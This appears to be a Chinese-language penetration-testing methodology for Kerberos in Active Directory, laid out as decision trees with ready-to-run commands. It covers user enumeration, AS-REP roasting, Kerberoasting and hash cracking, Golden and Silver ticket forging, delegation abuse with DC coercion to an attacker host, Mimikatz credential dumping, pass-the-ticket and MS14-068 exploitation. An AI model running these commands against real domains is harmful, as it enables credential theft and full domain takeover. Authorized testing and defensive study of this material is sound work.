kerberos-pentesting

# Kerberos 渗透测试方法论 (88) ## 深入参考 - Kerberos 攻击命令大全（AS-REP Roasting / Kerberoasting / 票据伪造 / 委派攻击） -> 读 [references/kerberos-attacks.md](references/kerberos-attacks.md) --- ## 整体决策树 ``` 发现 88 端口开放 (Kerberos) ├─ Phase 1: 服务发现 │ ├─ 确认 Kerberos 服务版本 │ ├─ 确认域名 / Realm │ └─ 时钟同步检查 │ ├─ 偏差 > 5 分钟 -> 先同步时钟 │ └─ 已同步 -> 继续 ├─ Phase 2: 用户名枚举 │ ├─ 无凭据 -> Kerbrute / Nmap 枚举有效用户 │ └─ 有用户列表 -> 进入 Phase 3 ├─ Phase 3: AS-REP Roasting │ ├─ 查找未设置预认证的账户 │ │ ├─ 找到 -> 提取 AS-REP 哈希 -> 离线破解 │ │ └─ 未找到 -> 进入 Phase 4 ├─ Phase 4: Kerberoasting │ ├─ 需要有效域凭据 │ ├─ 查找注册 SPN 的服务账户 │ │ ├─ 找到 -> 请求 TGS -> 提取哈希 -> 离线破解 │ │ └─ 未找到 -> 进入 Phase 5 ├─ Phase 5: 票据伪造 │ ├─ 有 krbtgt 哈希 -> Golden Ticket (伪造 TGT) │ ├─ 有服务账户哈希 -> Silver Ticket (伪造 TGS) │ └─ 无足够材料 -> 进入 Phase 6 ├─ Phase 6: 委派攻击 │ ├─ 非约束委派 -> 提取 TGT │ ├─ 约束委派 -> S4U 协议滥用 │ └─ 基于资源的约束委派 (RBCD) -> 修改 msDS-AllowedToActOnBehalfOfOtherIdentity └─ Phase 7: Pass-the-Ticket ├─ 导入票据到当前会话 └─ 利用票据访问目标服务 ``` --- ## Phase 1: 服务发现 ### 1.1 端口扫描与服务识别 ```bash # Nmap Kerberos 服务探测 nmap -sV -sC -p 88 <IP> # Nmap Kerberos 枚举脚本 nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm="DOMAIN.LOCAL",userdb=users.txt <IP> ``` ### 1.2 域名与 Realm 确认 ``` 确认 Kerberos Realm ├─ DNS 查询 SRV 记录 │ └─ nslookup -type=SRV _kerberos._tcp.DOMAIN.LOCAL ├─ 从 SMB 服务获取域名 │ └─ crackmapexec smb <IP> └─ 从 LDAP 获取 Realm └─ ldapsearch -x -h <IP> -s base namingContexts ``` ### 1.3 环境准备 (时钟同步与 krb5.conf) ```bash # 时钟同步 — 偏差 > 5 分钟会导致 KRB_AP_ERR_SKEW sudo ntpdate <dc.fqdn> || sudo chronyd -q 'server <dc.fqdn> iburst' # 生成 krb5.conf (netexec) netexec smb <dc.fqdn> -u <user> -p '<pass>' -k --generate-krb5-file krb5.conf sudo cp krb5.conf /etc/krb5.conf # 手动 krb5.conf 最小配置 cat > /etc/krb5.conf << 'CONF' [libdefaults] default_realm = DOMAIN.LOCAL dns_lookup_realm = false dns_lookup_kdc = true [realms] DOMAIN.LOCAL = { kdc = dc.domain.local admin_server = dc.domain.local } [domain_realm] .domain.local = DOMAIN.LOCAL domain.local = DOMAIN.LOCAL CONF ``` **关键判断**： - 时钟偏差过大 -> 所有 Kerberos 操作都会失败，必须先同步 - `/etc/hosts` 必须正确解析 DC 的 FQDN -> SPN 不匹配会导致 GSSAPI 失败 - NTLM 被禁用时 -> SMB/WinRM 工具需加 `-k` 参数强制 Kerberos 认证 --- ## Phase 2: 用户名枚举 ### 2.1 枚举决策树 ``` 用户名枚举 (无需凭据) ├─ Kerbrute (推荐，速度快，日志低) │ ├─ kerbrute userenum --dc <DC_IP> -d DOMAIN.LOCAL users.txt │ └─ 原理: 发送 AS-REQ，根据响应区分有效/无效用户 │ ├─ KDC_ERR_PREAUTH_REQUIRED -> 用户存在 (需要预认证) │ ├─ KDC_ERR_CLIENT_REVOKED -> 用户存在但被禁用 │ └─ KDC_ERR_C_PRINCIPAL_UNKNOWN -> 用户不存在 ├─ Nmap 脚本 │ └─ nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm="DOMAIN.LOCAL",userdb=users.txt <IP> └─ Metasploit └─ auxiliary/gather/kerberos_enumusers ├─ set DOMAIN DOMAIN.LOCAL ├─ set RHOSTS <DC_IP> └─ set USER_FILE users.txt ``` ### 2.2 常用用户名字典 ```bash # 内置字典 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt /usr/share/wordlists/dirb/others/names.txt # 从 OSINT 生成用户名 # 格式: firstname.lastname / f.lastname / firstnamelastname ``` --- ## Phase 3: AS-REP Roasting ### 3.1 攻击原理 当用户账户设置了 `DONT_REQUIRE_PREAUTH` 标志时，可以在不知道密码的情况下请求其 AS-REP 消息，其中包含可离线破解的加密数据。 ### 3.2 攻击决策树 ``` AS-REP Roasting ├─ 有域凭据 │ ├─ 查找目标: GetNPUsers.py DOMAIN.LOCAL/ -usersfile users.txt -dc-ip <DC_IP> │ ├─ LDAP 查询: (&(userAccountControl:1.2.840.113556.1.4.803:=4194304)(!(UserAccountControl:1.2.840.113556.1.4.803:=2))) │ └─ BloodHound 标记: "Do not require Kerberos preauthentication" ├─ 无域凭据 │ └─ 对已枚举用户列表逐一尝试 │ └─ GetNPUsers.py DOMAIN.LOCAL/ -usersfile users.txt -no-pass -dc-ip <DC_IP> └─ 获得哈希后 -> 离线破解 ├─ hashcat -m 18200 asrep_hashes.txt wordlist.txt └─ john --wordlist=wordlist.txt asrep_hashes.txt ``` ### 3.3 Impacket GetNPUsers ```bash # 已知用户列表，无需密码 GetNPUsers.py DOMAIN.LOCAL/ -usersfile users.txt -no-pass -dc-ip <DC_IP> -format hashcat -outputfile asrep.txt # 有凭据，自动查找所有易受攻击用户 GetNPUsers.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP> -request -format hashcat -outputfile asrep.txt ``` ### 3.4 Rubeus (Windows 环境) ```powershell # 查找并攻击所有 AS-REP Roastable 用户 Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt # 指定用户 Rubeus.exe asreproast /user:targetuser /format:hashcat ``` --- ## Phase 4: Kerberoasting ### 4.1 攻击原理 任何经过认证的域用户都可以请求注册了 SPN (Service Principal Name) 的服务账户的 TGS 票据，该票据使用服务账户的 NTLM 哈希加密，可离线破解。 ### 4.2 攻击决策树 ``` Kerberoasting (需要有效域凭据) ├─ 查找注册 SPN 的账户 │ ├─ GetUserSPNs.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP> │ ├─ LDAP: (&(servicePrincipalName=*)(UserAccountControl:1.2.840.113556.1.4.803:=512)) │ └─ PowerView: Get-DomainUser -SPN ├─ 请求 TGS 票据 │ ├─ GetUserSPNs.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP> -request -outputfile tgs.txt │ └─ Rubeus.exe kerberoast /outfile:tgs.txt ├─ 优先攻击目标 │ ├─ 高权限服务账户 (Domain Admins / 管理员组成员) │ ├─ RC4 加密的票据 (更易破解) │ │ └─ Rubeus.exe kerberoast /rc4opsec │ └─ 密码从未更改的账户 (pwdLastSet 很久以前) └─ 离线破解 ├─ hashcat -m 13100 tgs.txt wordlist.txt └─ john --wordlist=wordlist.txt tgs.txt ``` ### 4.3 Impacket GetUserSPNs ```bash # 列出所有 SPN 账户 GetUserSPNs.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP> # 请求 TGS 并保存哈希 GetUserSPNs.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP> -request -outputfile kerberoast.txt # 使用 NTLM 哈希认证 GetUserSPNs.py DOMAIN.LOCAL/user -hashes <LM:NT> -dc-ip <DC_IP> -request ``` ### 4.4 Targeted Kerberoasting (无 SPN 时) ``` 如果目标用户无 SPN 但你有写 SPN 的权限 ├─ 设置 SPN: setspn -a MSSQLSvc/srv.domain.local:1433 targetuser ├─ 请求 TGS: GetUserSPNs.py ... ├─ 清理 SPN: setspn -d MSSQLSvc/srv.domain.local:1433 targetuser └─ 注意: 需要 GenericAll/GenericWrite 权限 ``` --- ## Phase 5: 票据伪造 ### 5.1 Golden Ticket (伪造 TGT) **前提**：拥有 `krbtgt` 账户的 NTLM 哈希（通常通过 DCSync 或 NTDS.dit 获取） ``` Golden Ticket 攻击流程 ├─ 收集信息 │ ├─ 域 SID: whoami /user (截取到 RID 之前) 或 lookupsid.py │ ├─ krbtgt NTLM 哈希: secretsdump.py DOMAIN/admin@<DC_IP> -just-dc-user krbtgt │ └─ 域名: DOMAIN.LOCAL ├─ 生成票据 │ ├─ Impacket: ticketer.py -nthash <krbtgt_hash> -domain-sid <SID> -domain DOMAIN.LOCAL Administrator │ └─ Mimikatz: kerberos::golden /user:Administrator /domain:DOMAIN.LOCAL /sid:<SID> /krbtgt:<hash> /ptt ├─ 使用票据 │ ├─ export KRB5CCNAME=Administrator.ccache │ ├─ psexec.py -k -no-pass DOMAIN.LOCAL/Administrator@dc.domain.local │ └─ secretsdump.py -k -no-pass dc.domain.local └─ 特性 ├─ 有效期: 默认 10 年 ├─ 可伪造任意用户 (包括不存在的用户) └─ 跨域: 需要父域 krbtgt 哈希 ``` ### 5.2 Silver Ticket (伪造 TGS) **前提**：拥有目标服务账户的 NTLM 哈希 ``` Silver Ticket 攻击流程 ├─ 收集信息 │ ├─ 服务账户 NTLM 哈希 (例如 机器账户哈希) │ ├─ 目标 SPN (例如 CIFS/dc.domain.local) │ └─ 域 SID ├─ 生成票据 │ ├─ ticketer.py -nthash <service_hash> -domain-sid <SID> -domain DOMAIN.LOCAL -spn CIFS/dc.domain.local Administrator │ └─ Mimikatz: kerberos::golden /user:Administrator /domain:DOMAIN.LOCAL /sid:<SID> /target:dc.domain.local /service:CIFS /rc4:<hash> /ptt ├─ 常见服务 SPN 对照 │ ├─ CIFS -> 文件共享 (SMB) │ ├─ HTTP -> Web 服务 / WinRM (WSMAN) │ ├─ LDAP -> LDAP 查询 / DCSync │ ├─ HOST -> 计划任务 / PsExec │ └─ MSSQLSvc -> MSSQL 数据库 └─ 特性 ├─ 不经过 KDC 验证 -> 更隐蔽 ├─ 仅对特定服务有效 └─ 机器账户密码变更后失效 (默认 30 天轮换) ``` --- ## Phase 6: 委派攻击 ### 6.1 委派类型决策树 ``` 委派攻击 ├─ 非约束委派 (Unconstrained Delegation) │ ├─ 发现: LDAP 查询 (userAccountControl:1.2.840.113556.1.4.803:=524288) │ │ └─ findDelegation.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP> │ ├─ 攻击: 诱使高权限用户连接到受控主机 │ │ ├─ Printer Bug (SpoolSample): SpoolSample.exe <DC_IP> <ATTACKER_HOST> │ │ └─ PetitPotam: PetitPotam.py <ATTACKER_HOST> <DC_IP> │ └─ 提取: 从内存提取转发的 TGT │ └─ Rubeus.exe monitor /interval:5 /nowrap ├─ 约束委派 (Constrained Delegation) │ ├─ 发现: 查找 msDS-AllowedToDelegateTo 属性 │ │ └─ findDelegation.py DOMAIN.LOCAL/user:password -dc-ip <DC_IP> │ ├─ 攻击 (S4U): 利用 S4U2Self + S4U2Proxy │ │ ├─ getST.py -spn CIFS/target.domain.local DOMAIN.LOCAL/svc_account:password -impersonate Administrator -dc-ip <DC_IP> │ │ └─ export KRB5CCNAME=Administrator.ccache │ └─ 利用: 使用获得的票据访问目标服务 └─ 基于资源的约束委派 (RBCD) ├─ 前提: 对目标有 GenericWrite / WriteDacl 权限 ├─ 攻击流程 │ ├─ 1) 创建或控制一个机器账户 (addcomputer.py) │ ├─ 2) 修改目标的 msDS-AllowedToActOnBehalfOfOtherIdentity │ │ └─ rbcd.py -delegate-from CONTROLLED$ -delegate-to TARGET$ -action write DOMAIN.LOCAL/user:password -dc-ip <DC_IP> │ ├─ 3) S4U 获取票据 │ │ └─ getST.py -spn CIFS/target.domain.local DOMAIN.LOCAL/CONTROLLED$:password -impersonate Administrator -dc-ip <DC_IP> │ └─ 4) 使用票据 │ └─ export KRB5CCNAME=Administrator.ccache └─ 清理: 移除 RBCD 配置 └─ rbcd.py -delegate-from CONTROLLED$ -delegate-to TARGET$ -action remove DOMAIN.LOCAL/user:password -dc-ip <DC_IP> ``` --- ## Phase 7: Pass-the-Ticket ### 7.1 票据操作 ``` Pass-the-Ticket ├─ 获取票据 │ ├─ 导出当前会话票据 (Windows) │ │ ├─ Mimikatz: sekurlsa::tickets /export │ │ └─ Rubeus.exe dump /nowrap │ ├─ 从 LSASS 提取 │ │ └─ Mimikatz: sekurlsa::logonpasswords │ └─ 从 ccache 文件 (Linux) │ └─ 默认位置: /tmp/krb5cc_<UID> ├─ 导入票据 │ ├─ Linux │ │ └─ export KRB5CCNAME=/path/to/ticket.ccache │ ├─ Windows │ │ ├─ Mimikatz: kerberos::ptt <ticket.kirbi> │ │ └─ Rubeus.exe ptt /ticket:<base64_ticket> │ └─ 格式转换 │ ├─ kirbi -> ccache: ticketConverter.py ticket.kirbi ticket.ccache │ └─ ccache -> kirbi: ticketConverter.py ticket.ccache ticket.kirbi ├─ 使用票据访问服务 │ ├─ psexec.py -k -no-pass DOMAIN.LOCAL/user@target.domain.local │ ├─ smbclient --kerberos //target.domain.local/C$ │ ├─ wmiexec.py -k -no-pass DOMAIN.LOCAL/user@target.domain.local │ └─ netexec smb target.domain.local -k └─ 验证当前票据 ├─ Linux: klist └─ Windows: klist (系统命令) ``` ### 7.2 Kerberos 认证使用 SMB 工具 ```bash # 获取 TGT kinit <user> klist # netexec / crackmapexec Kerberos 认证 netexec smb <dc.fqdn> -k # Impacket 工具使用缓存票据 (-k -no-pass) psexec.py -k -no-pass DOMAIN.LOCAL/Administrator@dc.domain.local secretsdump.py -k -no-pass dc.domain.local # SSH GSSAPI 单点登录 ssh -o GSSAPIAuthentication=yes <user>@<host.fqdn> ``` --- ## 已知漏洞 ### MS14-068 (CVE-2014-6324) ``` MS14-068 — PAC 伪造提权 ├─ 影响: 普通域用户可伪造为域管理员 ├─ 检测: 未打补丁的 Windows Server 2003-2012R2 ├─ 利用 │ ├─ pykek: python ms14-068.py -u user@DOMAIN.LOCAL -p password -s <USER_SID> -d <DC_IP> │ └─ goldenPac.py DOMAIN.LOCAL/user:password@dc.domain.local └─ 修复: KB3011780 补丁 ``` ### Shodan 搜索 ``` port:88 kerberos ``` --- ## 故障排除 | 错误信息 | 原因 | 解决方案 | |---------|------|---------| | `KRB_AP_ERR_SKEW` | 时钟偏差过大 | `sudo ntpdate <dc.fqdn>` | | `KDC_ERR_C_PRINCIPAL_UNKNOWN` | 用户不存在 | 检查用户名和 Realm | | `KDC_ERR_PREAUTH_FAILED` | 密码错误 | 检查凭据 | | `Server not found in Kerberos database` | SPN 不匹配 | 检查 `/etc/hosts` 和 FQDN | | `STATUS_NOT_SUPPORTED` | NTLM 被禁用 | 添加 `-k` 参数使用 Kerberos | | `KRB_ERR_RESPONSE_TOO_BIG` | UDP 响应过大 | 配置 krb5.conf 使用 TCP: `udp_preference_limit = 1` |